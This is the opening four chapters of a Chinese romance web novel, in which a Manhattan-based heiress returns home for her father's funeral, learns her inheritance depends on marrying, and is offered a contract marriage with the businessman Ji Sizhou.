《陷落晨昏》
1. 第 1 章
第一章
曼哈顿接连几天都是暴雨,明遥不喜欢这样阴沉的雨天,于是一直待在酒吧里,或是在自己的公寓里开party。
今晚,她兴致缺缺,酒杯里的液体消失的很慢。
手机上显示着:【遗憾告知您竞拍失败,落日号成交价格620万。——苏铂拍卖行】
明遥想要一艘出海去兰空海岸晒太阳的小游艇,预算300万。她匿名竞拍,没了明遥两个字的光环来让人献殷勤,拍卖进行了几轮,加价翻了两倍,远远超过落日号原来的价值。
她不喜欢这种超过自己预期的东西,所以没了继续加价的兴趣。
不过还是影响一些今晚的心情,明遥拒绝了他人的挽留,离开那个小酒吧,
湿冷的气息透过雨幕传来,她本来只是打算直接穿过雨幕走路回到自己的公寓,可雨渐渐变大。
明遥随意买了一份报纸遮在自己的头顶,恰巧这是一份华人报纸,摊主见她的亚洲面孔,所以拿给她的。
她无意见扫到上面的头版标题,上面有着季家公司即将上市的字眼,没想到国内的uc体都能流行到这里。头条上的感叹号让人不想注意到都难。
底下的小字中,热烈地讨论着季斯舟前天来到曼哈顿参加峰会时,又冷漠拒绝了一位名媛小姐专门为他举办晚宴的趣闻。他一点也不给人面子。
季斯舟的名字,在整个华人区也常常被提起。
除去优秀的能力,更多议论的在于季斯舟的私人生活,说他如今已经快三十岁,身边却没有一位太太。甚至,这人连一点的花边新闻都没有,全身心都投入到了工作当中。
真够八卦的。
明遥嗤了一声,对于这些内容并未在意。她将报纸罩在自己的头顶,穿行在湿淋淋的马路。
大衣里的手机震动起来,明遥将手机拿出来,竟然是一通从国内打来的电话,号码是她父亲的。
接起后,出现的声音却是她的继母。
“你的父亲没时间了。”甘佳君的声音和落下的雨一样冰冷,“回不回来随便你。”
电话随之挂断,明遥甚至没有得到更多的讯息。
手机上被滴落了雨滴,水珠里映射出一片远处的繁华灯光,光怪陆离。明遥心里一时茫然,还未想到自己该怎么办,她知道,自己需要尽快回国。
甘佳君用父亲的手机给她通话,明遥清楚,这个没多少时间的意思代表着她应该回去见最后一面。
时间不算太多,明遥只能赶紧订票。在她收到的消息回复里,竟然连经济舱都定没了,这是她退而求其次的选择。
她站在雨里,报纸不知道何时已经被不自觉紧紧攥在手心。
明遥是航空公司的vip用户,接待人遗憾地告知她:“明小姐,经济舱也没有。因为天气的原因,多数航线也已经被取消。最快也要到明天上午给您答复。”
“太晚,我半个小时后就要答复。”明遥说,“我每年在你们这花的一百万不是为了听这个。”
负责人为难而纠结,明遥所说属实,不然也不会是vip客户。可实在无法成行。
明遥是站在雨里等的,寒冷的白气在她的呼吸之间涌现出来。路上的行人终于注意到了这个奇怪的亚洲女孩,有人热心问她是否需要雨伞,而明遥摇头,只是晃了晃自己手中的报纸。
也因此,明遥在报纸上找到了那行字。
【季斯舟两天前,乘坐私人飞机飞抵肯尼迪国际机场。】
其中对季斯舟的这架庞巴迪内部的豪华进行了无尽的想象。
明遥的心中闪过一个念头,就在这时,机场的电话又打来。
“明小姐,不知您与季斯舟先生是否相识?他的私人飞机正准备起飞回国,说可以带您一程。”负责人说,“如果您同意的话。”
“我拿一下东西,半个小时后开车过来。”明遥当即同意,可那边继续说,“季先生的车在中城区,如果离您公寓近的话,到时候就顺路来接您。”
就这样,一个小时内,明遥出乎意料的解决了所有问题。
她以为自己会在车里见到季斯舟,但直到她登上那架属于季斯舟的飞机,都没有看见本尊。
长达二十四个小时的飞行,机舱内布置的豪华而温馨,足以让她在飞机上好好休息一觉,
明遥突兀地想起来报纸上的那些想象,竟然还真猜得八九不离十。
她上去的时候多问了一句,才知道季斯舟在曼哈顿的公事还未结束,至于为什么这架飞机今天就已经回国,明遥不知。
回国之后,事情像是倾倒的大山一般压了下来。哪怕她与父亲的关系早就是一座冰川,但明遥是家里唯一的孩子。她和甘佳君没有一点交流,从这个女人成为她继母的那一天起,十年内也没有任何关系缓和的迹象。
明青林走的很急,当天晚上就离开了。在医生宣告死亡时间的那一刻,甘佳君冲上前来将明遥拂过,握着明青林的手流泪。
苏市同样在下大暴雨,延续到葬礼的第二天。
而明家发生的事情,在圈子里已经被传了个遍。
明遥很久没有回来过,但她的名字一出现,便能点燃其他人八卦的热情。
清早的明家灵堂之外,庭院中外的空地里已经有了来吊唁的人。
明青林是苏市有名的企业家,媒体、合作伙伴,来的人很多。
明遥还没到。
“甘夫人没有孩子,明家的这些财产和公司又这么多……”
“你懂什么?之前我听到有知情的律师说,明叔叔已经立遗嘱要把所有的钱都给甘夫人了。”
“难怪明遥会这么火急火燎的回来,她这些年在外头玩的不滋润?身边的男伴一天就能换一个,她爸死了才知道回来。”
“你还别说,这明家偌大的产业,也不知道最后是给了谁,听说明遥回来的时候甘夫人连正眼都没瞧过她,就这态度,那大概是给了——”
“你别说了,甘夫人已经来了。”
黑伞之上的雨滴落到地面,被高跟鞋踩散。
甘佳君很体面的出现了,她的身边还有专门的人为她撑伞,她连裙摆都没有湿。走到灵堂前,她径直到明青林的照片旁站好。
一侧放了圆形软垫,只有一个。
众人不由得禁声,不太敢揣测甘佳君的意思。
而这时候,明遥来了。
还在小声议论的人自动分开了两边,明遥穿着一条剪裁简单的黑裙,胸口别了一朵白色的花。她一点妆都没化,脸很素净,在阴沉里乌云之下显露出苍白。没有人给明遥打伞。雨水滴在她的发梢,又沿着下颚线慢慢落下来。
哪怕如此,她一出现,所有人的目光立马转到了她的身上。
明遥的时差还没有倒过来,准确来说,这两天她合眼的时间没有三个小时。就在今天凌晨,在佣人宋阿姨的要求下,明遥终于多睡了两个小时。之前在季斯舟私人飞机上的那一觉,竟然就是她这段时间里睡的最多的时候。
也还好睡了那么久,所以她有足够的时间去面对家里的事情,以及葬礼后续的安排。
明遥走到前方,在明青林的身边静静摆上花束。然后走到甘佳君的身边站定。
其他人都在看她,目光就没挪开过。
“明遥,太久没有回来,连礼数都不知道了?”甘佳君说。
明遥说:“我不知道你什么意思。”
在这么多人的面前,甘佳君的声音几乎可以说是一种痛斥。她这个时候,和在明青林还
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活着的时候完全不同。
毕竟当年,明青林是因为觉得甘佳君温柔所以娶了她。
“你也还知道回来?”甘佳君穿着高跟鞋,有些居高临下,她说,“也不知道给你父亲跪下!”
门外响起一道闷雷,有风刮进来,把明遥的裙摆刮起,她的小腿很细。大堂里的灯亮的刺眼,明遥知道甘佳君在故意为难她。
明遥不跪,可甘佳君就偏要让明遥跪在这里。
可是那蒲团就也没摆在明青林的照片旁边,甘佳君变相地要明遥跪的是所有人,她就是要把明遥的脸面放在地下痛踩个干净。
大家的目光像是看好戏,又像是怜悯的落在明遥的身上。
明遥在来的路上也做好了会发生这种事的准备,但真正地到来的时候,她还是会觉得这么的不堪。她知道来的每一个人都想要看一出好戏,没有人站出来,他们的手上拿着和甘佳君一样的绳索,想把她拖进水里。
明遥的心中远没有她表面上的那么平静,她看向躺在那儿的明青林,看上去和生前并无两样,好像只是睡着了而已。
这老头,现在知道你娶的老婆是个什么人了吧?
“你想跪就跪。”明遥指着那个蒲团,“你既然只准备了一个,那想必是为你自己准备的,甘阿姨。”
“明遥,你想在你父亲尸骨未寒的时候就和我吵。”甘佳君很容易被甘阿姨这三个字激怒,她语调冷冷的,“你今天如果不跪下,那就愧做明家的女儿,这是你要尽的义务!跪下!”
她的声音在明遥的耳边炸开,比雷还重。
大堂的门是敞开的,风把雨刮进来,凉凉地打在她单薄的身上。但无人在意,就连明遥自己都已经察觉不到冷。
这时,外面嘈杂一片。不知道是谁来了,明遥也不在意,在她的眼里,只是看热闹的人又多了一个。
个高挺拔的男人被很多人簇拥着进来,在人群里仍旧出众,外面的天色昏沉,他也穿着一身肃穆的黑。眉眼都是冷凝的神情,气场很足,倒像是从黑暗里走出来的邪恶神明,是没有人敢招惹的那种。
明遥的目光在季斯舟到的那一瞬间,越过空气与他相接。
那双眼睛与报纸上被热议的主人公无缝重叠在一起。
季斯舟,他竟然亲自来了。
他理应刚结束了曼哈顿的峰会,几乎没可能来这儿,明遥才意识到,他是一落地便赶往这里的。
刚巧,在季斯舟露面的当下,甘佳君将手按在明遥的肩膀上,明着要把她往下压。
肩头的痛感让明遥的视线急促地收回,甘佳君按着她,“你是自己有能耐,在客人面前还敢胡来?还要在季总的面前闹笑话是不是?”
明遥本就瘦,她回来这两天没休息好,身体的支撑已经快到了极限。她虽然倔强地不愿跪下,但季斯舟已经往这边走来,自己不能失去了基本的礼数。
她低头,微微欠身向季斯舟示意,甘佳君在使劲地摁她,她的身体就像是一片飘摇的薄叶往前晃了下,明遥全靠自己的意志力在撑着。
他进来那么久一言未发,直到现在到了明遥的面前。在明遥快要倒下的时候,季斯舟在瞬间伸手扶稳了她。
他的手是这冰凉中唯一的暖意。明遥诧异抬头,刚好与季斯舟对视,明遥看到了在季斯舟的眸中自己的样子,除去惊讶,更多的是狼狈。
她怎么会在季斯舟的面前露出狼狈?
或许,是因为季斯舟在自己面前的样子,像极了要为她撑腰。
他的眸中没有一丝奚落与看戏,沉稳的像是一片海,在对视的瞬间将她包裹,挡去了外面的狂风暴雨。
他叫自己的名字:“明遥。”
声音沉着而莫名让叫人心安,“你辛苦了,节哀。”
2. 第 2 章
第二章
他在扶她起来,指腹的力道适中,碰在她光洁柔软的小臂。
明遥一时错愣,由他扶起。
甘佳君再不敢有任何下压的动作,季斯舟的用自己的行动表达着对明遥的支持,甘佳君是人精,怎会不知。
他很绅士,只是将她扶稳便将手移开。明遥的视线落在季斯舟的肩头,才发现他的西装上也有雨水的痕迹,他和自己一样没打伞,被雨淋湿了。
外面的人都不再说话,季斯舟在这里,有种天然的威慑作用。他沉着眸子,视线只落在明遥的身上。
众所周知,季斯舟代表着季家,能让季斯舟出面的地方那都是极度重量级的。
季家这是给足了明家面子。
而季斯舟的这一扶,那就是在告诉所有人,季家的这个面子是给明遥的,而不是给甘夫人的。
甘佳君不敢再说其他,明遥的道谢声音轻微。她不知道季斯舟到底听见了没有。
葬礼上回归肃穆,不再有别的事情发生。
季斯舟在明遥的后方,明遥不再有目光落在他的身上。父亲去世,哪怕这个人明遥对他曾经有千般埋怨,现在也都已经在生死之外,不需要再去计较。
她是明青林唯一的女儿,又因为早早长期在外,和家中旁系的亲属都不熟悉。甘佳君没有帮她的意思,明遥甚至会碰到那种自己交不出名字的情况。
但季斯舟就她的身后。
大概是因为这一点,季斯舟是这个场合里更令人无法忽视的存在。所有人在看到他之后都会打招呼。
在季斯舟的口中,明遥知道了来到自己面前的每一个人都是谁,并且一一记下。
这个人,以前小的时候她还叫过哥哥,不过这只是长辈之间偶尔互相打趣时候说的事情,她早就已经不记得了。
高中毕业之后明遥离开国内,之后生活的重心都在外面。
季斯舟发展外面的业务之后,他们偶尔也会在华人举办的聚会里面碰面。
但也仅仅是打个照面。
明遥光芒万丈,季斯舟同样是,两人是在不同的领域。
明遥喜欢放纵自己,可季斯舟极度的严谨,他们注定不是一路人。
天色不好,这样的阴雨天叫人压抑不已。快到六点的时候,明遥从外面送完宾客回来,看到季斯舟站在门外,似乎是在等她。
是有话要和自己说吗?
明遥正要上前,律师上前来叫住她:“明小姐,夫人有事叫你。”
季斯舟听到这边的动静,视线望过来,刚好与她对上。
明遥想着自己总要和季斯舟道个谢,如果没有季斯舟的飞机,她没有这么快赶回来。
明遥不想耽误季斯舟的时间,所以她什么都没说,跟着律师去书房。
甘佳君看她:“你长本事了,还能叫来季斯舟给你撑腰?怎么,是觉得你父亲死了,现在迫不及待就来压我了是吗。”
“有事你就说,没事我走了。”明遥回来又不是专门来和她吵架的,她并不想搭理。就在明遥转身要走的时候,甘佳君向律师示意。
“明小姐,这是您父亲明青林李立下的遗嘱。”律师的话果然让明遥止住了步子,她重新坐回到位置上,看甘佳君一副洋洋得意的表情。在外人的面前,甘佳君从来不这样,只有自己知道她就是个蛇蝎心肠,从来都不是她表现出来的那副温柔的模样。
但可惜,明青林是不知道了。
她的亲生母亲去世之后,没多久,明青林就再娶。据说甘佳君的八字旺他,令他财运亨通。
明遥根本就没抱希望明青林将遗产留给自己。她能够这么早的赶回来,是因为她作为女儿要送明青林最后一程,可不是为了什么争遗产。
明青林和甘佳君一直没有孩子,所以,在法律上,明遥就是第一继承人。
可甘佳君从她回来开始就没个好脸色,其他人都说说的明遥不是不知道,大家都说甘夫人一定是有什么拿到遗产的把握,不然怎么敢这样。
明遥已经做好心理准备,上面是明青林写的将所有的财产留给甘佳君这样的话了。
翻开第一页看到内容的时候,明遥的视线顿住。
她为了确认,迅速地往后面翻。在最后一页,她看到明青林的亲自签名和手印。
律师说:“协议签署的时候我在场,程序合法合规,是这样的。明小姐,如果你想拿到遗产,就要按照您父亲说的做。”
遗嘱上面写的是,明青林愿意将所有的财产都留给明遥,但有条件。
这十余年,明青林对明遥的关心寥寥。到了死之前,居然想起来愧对女儿。他说,唯一的心愿就是让明遥成家,找到一个真心待她的人。只要明遥结婚成家,那么明家这超过百亿价值的产业,都归于明遥所有,就当成她的嫁妆。
否则,这些便给予甘佳君。
对于她婚姻的时间也有要求,要求满一年,财产和股份便正式进行转移。
明遥抬头,看到甘佳君得逞的笑脸。
“怎么样,其实你父亲还是很疼爱你的,是不是?毕竟只有你一个女儿,没有其他的孩子,这些东西不给你给谁呢。”甘佳君说,“还是我向你父亲提这个建议的,你父亲一下就同意了,还夸我真知道为你着想。”
明遥语塞,她冷冷的看着这甘佳君,一阵反胃的感觉翻涌而来,她紧紧捂住自己的腹部。
从高中之后,明遥的身边从没有一个固定的伴侣,她没有男友,更别提结婚。
她唯一一次和甘佳君吵的架,那时候还小的她让甘佳君知道了自己的秘密。
甘佳君很沉得住气,到了十年后才拿来报复她。
“明遥,你早该想到有这一天。”甘佳君脸上的笑消失,“甘阿姨对你好吗?”
“甘佳君,你故意的。”明遥捏着那薄薄的纸页。
甘佳君说:“是,我当然是故意的,我知道你接受不了结婚,我自然提了这个条件,可怜你那愚蠢的父亲,竟然还觉得这是对你的关心。”
明遥说:“甘佳君!”
“哟?怎么这么没礼貌?”甘佳君说,“明遥,就是你能找到人和你结婚又如何,在这个节骨眼上,又有谁不是为了明家这点财产。你不会找到真心爱你的人的,永远都不会。”
明遥按住自己心中的愤怒,甘佳君的目的不就是想激怒自己吗,她成功了。
甘佳君精准的看准了明遥最恐惧的东西,并且拿着东西来攻击明遥。
“如果你做不到,那就等着三个月后律师将财产归我。”甘佳君看明遥不说话,笑着说,“我陪了你父亲这么多年,连个孩子都没有,你父亲欠我的,这些理应就要是我的。”
“绝不会给你。”明遥出声,“甘佳君,不是你的东西,你拿不走。”
甘佳君说:“你做不到的,明遥,你身边就不会有个爱你的人长久,怎么可能结婚?”
明遥拿着文件,不再搭理甘佳君的话,转身就离开。
明遥她只有一个弱点,可惜的是,连明青林都不了解她。而这个弱点,被甘佳君用来攻击自己。不然,明青林绝对不会觉得这是个好提议。
她是低着头出书房里,视线落在那份文件的几个大字上,没有留意外面的场景。
明遥在书房里逗留了好久,外面天色都已经大黑,但还在下雨。她听着耳边的雨声,猜想季斯舟大概离开了。
走过走廊,她来到明青林的遗体前,他看上去和生前并无两样。
明遥想到写进协议里白纸黑字的那句,明青林说的,他对于爱女深感愧疚。
明遥皱着眉。
她拿下自己的胸针,那是一枚粉蔷薇。胸针的使用痕迹不多,但已经可以看出年岁的印记。
这是明青林年轻的时候追求她母亲时送的。
“你没办到。”明遥尽量让自己的声音平静,“以后你不要再打扰她了。”
粉色蔷薇的花语是执子之手,与子偕老。
当年她母亲离世前将这枚胸针给了明遥,开心的告诉明遥这个胸针来历。但没过多久,明青林就娶了甘佳君。
明遥将胸针别在了明青林心口的位置。
她来到门边,低下头,将红着的眼睛藏起来没让谁看见。外面的雨飘进来,潮湿把她笼罩。
回来操办了明青林的葬礼足有三天,明遥第一次感觉到一股无力的悲伤感在此刻席卷了她,且来势汹汹,让她没办法逃离。
手上的这些遗嘱不是救她的海上浮木,而是向她投下的一颗巨石,要让她彻底沉下去。
明遥
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闭上眼睛。
“明遥?”
一道低沉的声音惊扰了她的思绪,明遥惊讶地抬眸。
季斯舟撑着一把黑伞在庭院里。
他竟然一直在等着她。
刚才明遥没注意,所以不知道季斯舟就在外面。惊愕之下,脸上是什么模样都暴露在外,包括她因为情绪而变红的眼眶和鼻尖。
季斯舟一直在这等她。
明遥没忘记,自己还要谢谢季斯舟的帮忙。
她低下头,给了自己两秒钟的时间去调整一下。明遥很想要控制住自己的悲伤,这么多人都说她没良心,说她在外不管不顾,只到了要争夺财产的时候才匆匆回来。
如果真是如此,明遥又何必这样匆忙,哪怕是欠季斯舟一个人情,也要急着回来见明青林最后一面。
纵使她与明青林的关系在后面的十年里越来越疏远,可血缘关系就摆在这里,明遥不能不认,明青林是她的父亲,她的难过是真实的。
现在她的父母亲都已经离开,在这个世界上只剩下她一个人了。
可是明遥倔强,在公众面前她没有掉过一滴眼泪,刚刚是实在忍不住。
明遥再抬头的时候,情绪已经平稳,但本来就红通通的眼睛和鼻头哪有那么容易消下去。因此她侧着脸,不想让季斯舟看出来。
“对了,季总,还没来得及和你说声谢谢。”明遥说,声音有点发闷,“如果不是你的私人飞机刚好带我一程,我赶不上送我父亲最后一程。”
“客气。”季斯舟说,“明伯父常提起你。”
明遥抬头:“你说什么?”
“我们今年合作很多,应酬时有见面。”季斯舟说,“不论如何,自己的身体不要垮了。他会明白你的心意。”
季斯舟的话像是刻意说给明遥听的一样,哪怕明遥不知道季斯舟说的是真话还是假话,但无疑给了她很大的安慰,委屈感不再那样浓烈。
外面都已经这样黑,季斯舟站在了明遥的面前,撑着长柄伞。季斯舟本人比明遥高许多,那些雨丝全都被隔绝开,明遥的体温开始回温,她不再觉得冷了。
季斯舟的声音低沉,在这寒冷的雨夜里好像是凭空出现的篝火。
他说完这些之后也没有走,只是静静地为她撑着伞。明遥实在不知道他的用意,就这么站了一会儿之后,明遥终于没忍住,抬头。
“你还有事情吗,季总?”
这么说很像是在赶客,可哪有这个能力去赶这位贵客。明遥这些年自己在外生活,早就把胆量锻炼出来了,有些人素来久居高位,哪怕不说话也气场摄人,就比如季斯舟。明遥与他共处一把伞下,更能感受到了季斯舟身上气场的逼人,老叫人觉得不自在。
明遥知道,自己招架不住。
她又说:“不是赶季总走的意思……”
“我爷爷本想亲自来吊唁,只是不便,所以才由我代劳。”季斯舟说,“他老人家知道你回国,有事情想和你说,可以吗?”
季爷爷?
明遥对老爷子的印象也已经模糊了,但她每年回来的时候都要带一份礼物送过去的。
季斯舟的份量重,季老爷子的份量就更加了。明遥没有任何拒绝的理由。
“好。”明遥点头,“等明天下葬过后,可以吗?”
“按你的时间来就好,别着急。”季斯舟说,“明天下午,我会叫司机来接你。”
季斯舟准备离开,明遥作为主人理应送客。外面在下雨,季斯舟说:“不必送了。”
他将伞收了起来,留在明遥的手上。
明遥不解。
“粉蔷薇的花语很好。”季斯舟忽然说,“不管之后如何,当时你的父母相爱。所以不必自责,明遥,你是因为爱出生的。”
明遥的视线怔住。
季斯舟看到了,他也听到了。
他……在安慰自己。
等明遥回神,季斯舟已经离开,她的手上只有季斯舟留下的那把长柄伞。
明遥没有伞,亦没有人为她撑伞,季斯舟连这个都留意到了。
明遥拧着眉,忍了很久。她看着季斯舟的车离开,消失在视野之中。
她把伞撑了起来,在这一方小小的安全屋里,隐忍许久的眼泪终于夺眶而出。
3. 第 3 章
第三章
第二天,是明青林下葬的日子。
墓园在半山腰上,这是之前明家早早就定好的位置。
在明青林下葬位置的旁边,已经立好了一座墓碑,那是明遥母亲的墓地。
明遥没有看到季家的车,知道季斯舟今天是不会来了。
她要感谢季斯舟的地方又多了一项,这个人是昨天来的宾客里面唯一一个真情实意的安慰过自己的人。
其实这个人,远没有大家说的那样不近人情。如果是个冷漠的人,又怎么可能会看到那些她难过的细节。
明家在苏市的上流圈里地位不低。
甘佳君说的对,明家的这些利益在这里,现在这个节骨眼上她要找到的男人,对她不可能是真心的。
今天送明青林来火化和葬入墓园,甘佳君在看到明青林的墓旁边紧邻的是谁时,脸色没有任何的变化。这么庄重的场景之下,她还叫了媒体来拍,明遥不想与她计较。
明遥打着的伞,是那把昨晚上季斯舟给她的那把,今早顺手就拿上了。
“知道吗,明遥,你们一家子都是如此。”甘佳君低声说,“你父亲那时候还问我,你母亲会不会喜欢那个粉蔷薇的胸针,我说那是自然。这么好的寓意,又怎会不喜欢?一生一世一双人,你父亲做的像个笑话。怎么你还要陪他将这笑话演下去?”
摄影师就在面前,镜头对准了甘佳君和明遥。
甘佳君拿出了那枚粉蔷薇的胸针,低下头替明遥别在胸前。
“而你呢,明遥,你和你父亲一样滥情,注定不会有人真的爱你。”甘佳君微笑着拍着明遥的肩膀,“和你父亲结婚是我赌对了,明家的这些钱本就该是我的。你懂不懂?”
她将明遥的肩膀扶着,实际上却是让明遥和自己一起面对了镜头。
明遥的胸膛剧烈的起伏着,甘佳君在故意刺激她。
哪怕明遥知道甘佳君是有意为之,但不得不承认,甘佳君每次都知道如何精确的打中她的弱点。明遥没有想到,甘佳君怎么能够把这枚胸针取了下来。
可镜头对着,这一刻,那种难以控制的委屈感又席卷了她。
“清场。”
这道低沉声音出现的时候,在明遥和甘佳君面前的摄影师被迅速的带走了。连明遥都不知道发生了什么事,但她的视线里看到了季斯舟。
他那么高,哪怕是在人群后面也照样挺拔出众。
媒体很快被清了出去,季斯舟来到震惊的甘佳君面前:“逝者为大,想必明伯伯会想要安静些。”
甘佳君挤出声音:“季总,说的是。”
他的视线滑到甘佳君的手上,甘佳君忙松了按在明遥身上的手。
在季斯舟的示意下,墓园里进来的那些媒体和摄影师都已经被清理出去。
他出现的总是这么及时,这两天都是。她将那枚胸针摘了下来捏在手里,别针后面的凸起紧紧陷入她的手心。
明遥和甘佳君不再交流。之后的流程进展的很顺利,起码没有甘佳君故意在面前作秀,很多事情变得简单了许多。只是这枚胸针,明遥只能将它收到自己身上,没有办法让它陪着明青林下葬。
遗嘱里面已经说过需要满足她结婚的条件才能得到遗产,明遥甚至来不及悲伤,就要思考自己要找谁来结婚。
季斯舟始终安静的在旁边,除了来的时候,他不再有任何的干涉行为。
明遥无暇顾及他。
季斯舟的态度像是个态度谦恭的晚辈,像真的就是来送明青林最后一程。等到葬礼流程走完,甘佳君的摄影师们又都在外面,她在这里已经没有什么发挥余地,于是和她的保镖毫不留恋的走了。
墓碑前,只剩下了明遥。
她拿着那枚胸针,凝视着母亲的照片。
明遥知道,这枚胸针已经没有什么用了。
天色阴沉,但没有再下雨。明遥此时才明白,自己在这世界上已经是孤身一人。父母亲都已经离世,她的家没有了。
季斯舟在后面等着她,他知道此时的明遥需要一个不被打扰的时间,他只需要在这后面等着便好。他的视线始终追随着明遥,又保持着恰当好处不会让人感觉不舒服的距离。
明遥在疑惑,在她的脑海中,根本就找不到一个合适的适合结婚的人选。在这个圈子里,比明家有钱的人没多少。哪怕放低要求,找那些没有明家条件好的人,那如何保证对方一定能够与自己很好的合作?
既然是要结婚,那自然双方都要参与这一次的扮演,还为期一年。
她自然可以和对方签订合同,但如果那个人不值得自己信任,将这份合约拿出去大肆宣传,那明遥只会输得一塌糊涂。
信得过的人,明遥没有,人脉都浮于浅表。
明遥深呼吸调整着自己的心绪,转身走向季斯舟。
“季总久等了。”她说,“我们走吧?”
明遥的手上还拿着那把黑色的长柄伞,“谢谢,物归原主。”
“有什么我可以帮你的?”季斯舟接过了那把伞,领着明遥往自己的车方向。
明遥摇头,当他是一片好心。只是她……不习惯别人对自己无故的帮忙。她不喜欢欠人情,而且和季斯舟也不熟。
到了车门外,还是季斯舟体贴为她开的门,明遥没有拒绝。在国外待久了,她对这些绅士的举动已经习惯。
季斯舟和明遥一起坐在后座,谁也没有说话。明遥自觉尴尬,她一个在外面挺社牛的人,到季斯舟的面前,总觉得放不开。
对季斯舟的印象里,还停留在年少的时候。印象里,这个季家的哥哥因为自小就被当成继承人培养,所以总是高高在上的模样,小孩子在一块儿玩的时候,季斯舟也不会参与。
“还好吗。”季斯舟先打破了沉默,“到家里还需要四十分钟,你可以睡一会儿。”
明遥说:“好。”
她上车之后还没有放松过,不知道季斯舟有没有看出来。虽然已经答应了要放松,但实际上背挺得很直,都没有让自己贴在车座上。这个小空间里只有她和季斯舟,而季斯舟对她而言,是个陌生人。
明遥对外界的一切到保持着警惕,包括季斯舟。
她和季斯舟之间隔着足足有一个人的距离,两人都挨窗户坐着,明遥一点也不往那边看,尽量让自己的尴尬更少一点。
奇怪的是,她分明是一个在男人的面前游刃有余的人,到了季斯舟的面前就不行了。
思前想后,明遥都觉得是因为季斯舟实在过于正经,而相遇的场合又相对而言的肃穆庄严。在外面的时候,明遥都是逢场作戏,因此从不让自己吃亏。可一旦对方认真,明遥就会立刻毫不留恋的抽身。
她需要热烈的爱,不需要稳定的束缚,哪怕那份爱颠沛流离。
季斯舟是完全相反的人,他太正经,看上去还像是没有感情。就像是那种就把女郎坐在他的腿上解开衬衫纽扣,他都能清心寡欲的那种人。
明遥这几天精神都很紧绷,就只在这个时候开了一会儿小差。她突兀地想象了一下季斯舟在酒吧坐着的场景,觉得实在太违和。季斯舟不像是会去酒吧的人,更像是那种工作狂,家都不回去的那种。
挺好,明遥这么想着。
她没想到的是,她最后居然被季斯舟叫醒的。
“明遥。”
明遥模模糊糊地睁开眼睛,看到面前的车顶,一时不知道自己在哪里。
“醒了吗?”
声音就在自己旁边传来。
明遥从茫然的状态里醒来,才知道自己歪着头睡在车窗上。但她和车窗之间不知什么时候隔了个软垫,所以她的脖子睡了这么久也没有感觉不舒服。
季斯舟还
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在原来的位置上,但自己反而往那边挪了不少,可能是睡着了之后觉得不舒服,所以无意识地变换自己的姿势想要更舒服。
明遥:“……”
怎么就睡着了!
她现在已经很清醒,再怎么厚的脸皮,在此刻耳朵都开始发烫。
季斯舟说:“到了,我们下车。”
明遥应了,“我睡了很久?”
“没有很久,你累了几天,睡一下也好。”季斯舟下车的时候,明遥的这边也有司机过来开门。
明遥看了一眼那放在座位上的软垫,对季斯舟说:“谢谢。”
“明遥,你不用对我这么客气。”季斯舟说,语气有点不易察觉的无奈。
明遥对季家还有印象,由着管家将他们往里面带。这是一栋中式风格的庭院,还有经过前面一道回廊。管家说,老爷子已经在书房等她了。
季斯舟和她一路无话,一起进了书房。
季老爷子就在茶桌边的藤椅上,起身迎她,“遥遥来了,让爷爷看看。你高中的时候还常来我面前的,都好久没看到你了!”
明遥的鼻尖微酸,季老爷子又看到边上的季斯舟:“我是要单独见明遥的,你小子跟进来干什么?你出去。”
季斯舟看着明遥,眼神在询问明遥的意见。
“爷爷,这不是待客之道。”季斯舟说,“明遥刚来,你不要吓着她。”
“没事的,季总。”明遥看出老爷子是有事有和自己单独说,开口道,“我没事。”
季斯舟还没开口,季老爷子就说:“怎么叫季总了,以前你都是在斯舟的后头叫哥哥。”
季斯舟说:“爷爷,不要让她……”
季老爷子摆手:“知道了,你操心这些干什么?明遥,来,跟我到这边来。”
季斯舟退了出去,经过明遥的时候还告诉明遥自己就在外面等。明遥在老爷子的面前坐下,季老爷子说:“你父亲病的时间不短,现在去了,对他而言是个解脱。”
明遥点头,知道季老爷子是在安慰她。
“也不需太逞强,你这孩子从小就和你父亲犟,总不肯示弱的。”老爷子都这把年纪了,看人很准,看出来明遥只是强撑着自己的情绪。
明遥只是点头,在长辈的面前,现在家里有了巨变,她已经让自己沉静下来,尤其在能够让她感觉的到善意的长辈面前。
“爷爷就直接和你说了。”季老爷子说,“我知道你需要争取家里的股份。”
明遥诧异地抬头。
不过一瞬,明遥又明白过来,这事情很正常。只要季家想要知道,苏市的圈子里不可能有季家不知道的消息,何况她家里这么大的事。
明遥一时也不知道季老爷子是什么意思,她不知道季家自己是否可以信任。
“别紧张,爷爷是想问你,有合适的结婚对象了吗?还是,已经有了喜欢的人?”
明遥顿了一会儿说,“没有,……都没有。”这两个问题她都做回答。
季老爷子说:“季家可以帮你拿到股份。”
明遥皱起眉:“季爷爷……我不明白你的意思。
她不喜欢欠别人的,在任何人哪里都一样。既然季家已经知道遗嘱的内容,那也应该知道,她需要一段婚姻关系。
如果明遥没有记错的话,老爷子只有季斯舟这一个孙子,还没有成家。
明遥稳住心神,拿起桌上的茶喝了一口。
季老爷子说:“季家想和你做一次双赢的生意,现下斯舟名下的子公司开拓海外市场,他需要为即将上市的公司竖立更好的形象,换句话说——他的身边现在需要一位太太。”
“你是个聪明的孩子,我知道你已经明白了。”老爷子说,“在别的地方,季家能够提供给你一切你需要的帮助。唯一的附带条件,就是你与我的孙子,季斯舟结婚。”
4. 第 4 章
第四章
季老爷子提出来的条件确实让人动心,仿佛合作为主,结婚这件事只是买一送一。
“这方案季总是同意的?”明遥克制住自己的语气。
“他不会不同意。”季老爷子脸上露出笑容,朝外面说,“斯舟,你进来。”
季斯舟到明遥的面前,只叫了她的名字,“明遥。”
“季……”明遥想说季总,却想起刚进来的时候季爷爷说的话,后面那个总字没说出来,吞了下去,“你同意的?”
“同意。”季斯舟点头,“是我正需要的。”
从利益的层面来说,明遥和季家合作百利而无一害。
季家的资源,足够庇护她在国内熟悉环境,而和季斯舟的婚姻,既然是利益交换,彼此默认没有感情,明遥的心里不会觉得有负担。
她理应马上同意才对。
事情进展的过于顺利,反而让明遥不安。
面前的茶已经凉了,明遥沉思片刻起身。
“季总,我需要考虑一下,我没办法现在就给你答复。”明遥说。
季斯舟点头:“好,不急。”
他说这话的时候,季老爷子看了他一眼。
明遥说:“如果没有别的事,我该走了。”
“你好好考虑。”他点头,没有多余的话。
季老爷子其实是想把明遥留下来吃饭,但季斯舟用眼神阻止了。
回去的时候,季斯舟送她出去,为明遥打开车门。
明遥没忍住:“季总,我不懂,你的身边应该不会缺合适的结婚人选。”
季斯舟抬眸:“我以为你的身边,也应该不缺合适的人选。”
